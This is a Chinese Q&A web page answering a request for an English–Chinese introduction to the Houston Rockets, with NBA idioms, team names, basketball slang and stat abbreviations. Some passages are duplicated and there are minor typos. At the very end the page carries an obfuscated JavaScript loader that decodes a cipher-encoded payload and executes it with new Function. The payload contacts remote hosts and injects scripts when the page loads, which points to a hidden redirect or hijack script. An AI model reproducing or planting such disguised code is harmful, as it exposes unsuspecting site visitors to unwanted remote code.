休斯顿火箭队的中英文对照简介

本人急需!最好是带幻灯片的PPT
2025-02-13 14:53:50
推荐回答(5个)
回答1:

英语 "Where there's a will, there's a way" 是一句成语,
是“有志者事竟成”的意思。在火箭队大中锋奥拉朱旺因伤缺阵的
那段时间,由凯文·威利斯替代他上场,此时常见观众席上打出
"Where There's A Wills, there's A Way" 的横幅。这并不是观
众把字写错了,而是为了鼓励威利斯,故意将 "will" (意志)一
词换成凯文的姓威利斯(Willis),意思就成了“有威利斯,火箭
队就有希望”。

在NBA中,成语用得很普遍。如教练在让队员们反复练习基本动
作要领时,常常说: "Practice makes perfect" (熟能生巧);遇到
有的队员犯了不该犯的错误或没有按教练的意图打比赛时,教练会说:
"Let's by gones be by gones" (既往不咎);而教练在要了暂停,
嘱咐队员们不能急于求成时,则说“Haste makes waste 。”

当球队打得很不顺手时并输了比赛时,难免有的队员会在更衣室
吹胡子瞪眼睛一通埋怨。别人就劝他说: "Lets leeping dogs Lie"
意思是“多一事不如少一事”。相反,对于那些由于自己的失误输了
比赛而垂头丧气的队员,队友们常用 "Every dog has his day"
(人总有走运的一天)这话来安慰。对于那些常常招来风言风语的选手,
最适合用 "There's no smoke with out fire" (无风不起浪)来形容,
而这样的选手听了也会用 " A wonder lasts but nine days"
(传言如风,时过消踪)来自我解嘲。

有些中学生选手,为了模仿乔丹,总爱试着做一些诸如“左右开弓”、
“凌空飞跃”之类的高难度动作,教练就说: "Learn to walk before you run",
意思是还没有学会走就要跑,不可操之过急。对于那些不喜欢早起训练的选手,
教练便用“ The early bird catches the worm ”(早起三光,晚起三慌)
这话来教育他。

在我国,人们常说“日月如梭”或“时不我待”,用英语来表示,就是
“ Time and tide wait for no man ”。在学校里,教师常教育学生“今日
功课今日毕,不可推到明日”,还有“明日复明日,明日何其多”。这句话
用英语来表达,就成了:“ Never put off till tomorrow what may be done
today ”,而人们最喜欢的一句话则是“患难的朋友才是真朋友”,即“ A
friend in need is a friend indeed ”。

NBA队名中英文对照
东部
(大西洋分区)
Boston Celtics 波士顿--凯尔特人
Miami Heat 迈阿密--热
New Jersey Nets 新泽西--网
New York Knicks 纽约--尼科斯
Orlando Magic 奥兰多--魔术
Philadelphia 76ers 费城--76人
Washington Wizards 华盛顿--奇才
Central Division (中部)
Atlanta Hawks 亚忑兰大--鹰
Charlotte Hornets 夏卢特--黄蜂
Chicago Bulls 芝加哥--公牛
Cleveland Cavaliers 科里夫兰--骑士
Detroit Pistons 底特率--活塞
Indiana Pacers 印第安那--步行者
Milwaukee Bucks 米尔沃几--雄鹿
Toronto Raptors 多轮多--猛龙
西部
Midwest Division (中西分区)
Dallas Mavericks 达拉斯--小牛
Denver Nuggets 丹佛--金块
Houston Rockets 休斯顿--火箭
Minnesota Timberwolves 名尼苏打--森林狼
San Antonio Spurs 圣安东尼奥--马刺
Utah Jazz 尤他--爵士
Vancouver Grizzlies 温哥华--灰熊
Pacific Division (太平洋分区)
Golden State Warriors 金州--勇士
Los Angeles Clippers 洛山脊--快艇
Los Angeles Lakers 洛山脊--湖人
Phoenix Suns 飞尼科斯--太阳
Portland Trail Blazers 波特兰--开拓者
Sacramento Kings 生开热门多--国王
Seattle SuperSonics 西亚图--超音速

NBA语词典之charity stripe、check、cross-over(x-over)
Mr.C.B
熟悉NBA的人恐怕都能猜到,C.B是休斯顿火箭队前锋查尔斯.巴克利(Charis Bark
ley) 的简称。在英语中,只取一个人姓名的第一个大写字母作为称谓是很常见的,像迈
克尔.乔丹可以直呼“MJ”,凯文.约翰逊可以称作“KJ”。近来,有人开始称凯文.约翰
逊为“KG”。
charity stripe
篮球比赛中,现场解说员经常会提到这个词,意思是指“罚球线”。
“charity”本意是指“慈善”,说白了也就是“白送”;而“stripe”指的是“线
”。在篮球比赛中,一方队员犯规后,另一方队员就要罚球,罚球得的分等于对方白送
的分,因此, “罚球线”就可以用“charity stripe”来表示了。
例句:Grant Hill goes to the charity stripe.
中译:格兰特.希尔走上罚球线.
check
在英语中,名词“check”意为“支票”、“结算单”等。当客人在餐馆用过餐后,
可以对服务员说:“Check,please!”意思是“请结帐!”,但在NBA,“check”则多做
动词用,有“防守”之意。
例句:You check kobe!.
中译:你去防守科比!.
cross-over(x-over)
完整的拼写应该是“cross-over dribble”(交叉运球)。这是指球员在带球过程
中,为了摆脱对方队员的纠缠,不时用两只手交叉运球的技术动作。有时,球还会从持
球都的两腿间或背后传到另一支手上。身为组织后卫,如果不会这一手,是很难在NBA立
足的。当年,奈特.阿奇博尔德、 “枪手”皮特.马拉维奇、“魔术师”约翰逊等NBA球
星向球迷展现的交叉运球的绝技,令人如醉如痴。如今,蒂姆.哈达维、阿伦.艾弗逊等
新一代球星交叉运球技术也达到了登峰造极的地步,令观众大饱眼福。
口语中常说“cross-over”,但在书面上有时也可写以简写成“X-over”。
例句:Killer cross-over!.
中译:表演交叉运球!.

baby
看到这个词,你或许会说:“这怎么是NBA英语呢?这不是对婴儿或你的‘她’ (
或他)的爱称吗?”其实,baby一词有很多用法。
在NBA,黑人球员约占90%,因此,即使不是同性恋,球员间也多称呼“baby”。在
球场上,迈克尔.乔丹经常对队友们喊:“Let's go baby!”意思是“快,上!” 而“
baby”在这里并没有特殊的意义,只是在喊人时使用,像“Watch out,baby!” (喂,
注意!)“Good pass,baby!”(传得好!)等等都是如此。
在球场上,“baby”一词虽没有什么特殊的意义,但在球场外,就只有在称呼自己
的“爱人”时才可使用。如果你用“Hey,Baby”称呼别人的“她”(或他)是很不礼貌
的,还有可能会引来麻烦。
例句:Nice shot,baby!
中译:投得好(只限于球场上)
bank
“bank”本意是银行,但在NBA球场上,则是指“擦板上篮”。斯科特.皮蓬就常常
在角度很刁的位置上擦板得分。因为投这样的球难度很大,所以常常成为对手间调侃的
语言。如果防守一方的球员对进攻方准备投篮的球员说“Bank!”,那就是说“你肯定投
不进去!”如果这一球中了,进攻方的队员就会反唇相讥:“Bank is opne!” NBA的比
赛都是在晚上进行,此时银行是不开门的,但是在这里“银行开门了”,也就是“我采
用擦板投篮投中了”。
例名:Bank is closed!
中译:银行关门了!(用于讽刺对方未能投中擦板球时)
basket
nbsp;在体育项目中,“basket”特指“basketball”(篮球运动),而在英语中,
“basket”还有其它的解释,而并非特指篮球运动。
最早时,“basket”指的是“筐”。因为1891年,詹姆斯.奈史密斯博士为了给学员
们在冬天找到能抵御寒冷的运动,把两支收梨子用的梨筐持在墙上,让学员们往里投球
,篮球运动(basketball)就这样诞生了,那个梨筐也被称作“篮筐”。后来篮圈、篮
网、篮板统称为“basket”。
在体育比赛中,“得分”可以用“hoop”、“deuce”(得2分)来表示。不过在NB
A中,“baket”也有得分的意思。
例句:Grant Hill made a basket.
中译:格兰特.希尔得分。
熟悉NBA的人恐怕都能猜到,C.B是休斯顿火箭队前锋查尔斯.巴克利(Charis Bark
ley) 的简称。在英语中,只取一个人姓名的第一个大写字母作为称谓是很常见的,像迈
克尔.乔丹 可以直呼“MJ”,凯文.约翰逊可以称作“KJ”。近来,有人开始称凯文.约
翰逊为“KG”。
charity stripe
篮球比赛中,现场解说员经常会提到这个词,意思是指“罚球线”。
“charity”本意是指“慈善”,说白了也就是“白送”;而“stripe”指的是“线
”。 在篮球比赛中,一方队员犯规后,另一方队员就要罚球,罚球得的分等于对方白送
的分,因此, “罚球线”就可以用“charity stripe”来表示了。
例句:Grant Hill goes to the charity stripe.
中译:格兰特.希尔走上罚球线.
check
在英语中,名词“check”意为“支票”、“结算单”等。当客人在餐馆用过餐后,
可以对服务员说:“Check,please!”意思是“请结帐!”,但在NBA,“check”则多
做 动词用,有“防守”之意。
例句:You check kobe!.
中译:你去防守科比!.
cross-over(x-over)
完整的拼写应该是“cross-over dribble”(交叉运球)。这是指球员在带球过程
中,为了 摆脱对方队员的纠缠,不时用两只手交叉运球的技术动作。有时,球还会从持
球都的两腿间或背后 传到另一支手上。身为组织后卫,如果不会这一手,是很难在NBA
立足的。当年,奈特.阿奇博尔德、 “枪手”皮特.马拉维奇、“魔术师”约翰逊等NBA
球星向球迷展现的交叉运球的绝技,令人如醉如痴。 如今,蒂姆.哈达维、阿伦.艾弗逊
等新一代球星交叉运球技术也达到了登峰造极的地步,令观众大饱 眼福。
口语中常说“cross-over”,但在书面上有时也可写以简写成“X-over”。
例句:Killer cross-over!.
中译:表演交叉运球!.
MIN=minutes 出场时间

FG=field goals 命中次数(不含罚球)

FGA=field goal attempts 出手次数

3P=3-points 3分球

3PA=3-points attempts 3分远投出手次数

FT=free throws 罚球命中次数

FTA=free throw attempts 罚球次数

OR=offensive rebounds 前场篮板球(进攻篮板球)

DR=defensive rebounds 后场篮板球(防守篮板球)

TOT=total rebounds 篮板球总球

A=assists 助攻

PF=personal fouls 个人犯规

ST=steals 抢断

TO=turnovers 失误

BS=block shots 盖帽

PTS=points 得分

rebound 篮板

travelling 走步、两次运球

blocking 阻挡

out of the bound (球)出界

charging 进攻撞人

回答2:

休斯敦火箭(Houston Rockets):球队最早是在盛行军需产业的圣地亚哥,1961年迁美国国家航空天局(NASA)所在地休斯顿后,“火箭”这个名字更加名副其实了。National Aeronautics and Space Administration美国国家航空和宇宙航行局

回答3:

休斯敦火箭(HoustonRockets):球队最早是在盛行军需产业的圣地亚哥,1961年迁美国国家航空天局(NASA)所在地休斯顿后,“火箭”这个名字更加名副其实了。NationalAeronauticsandSpaceAdministration美国国家航空和宇宙航行局

回答4:

HOUSTON ROCKET

回答5:

Houston Rockets

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();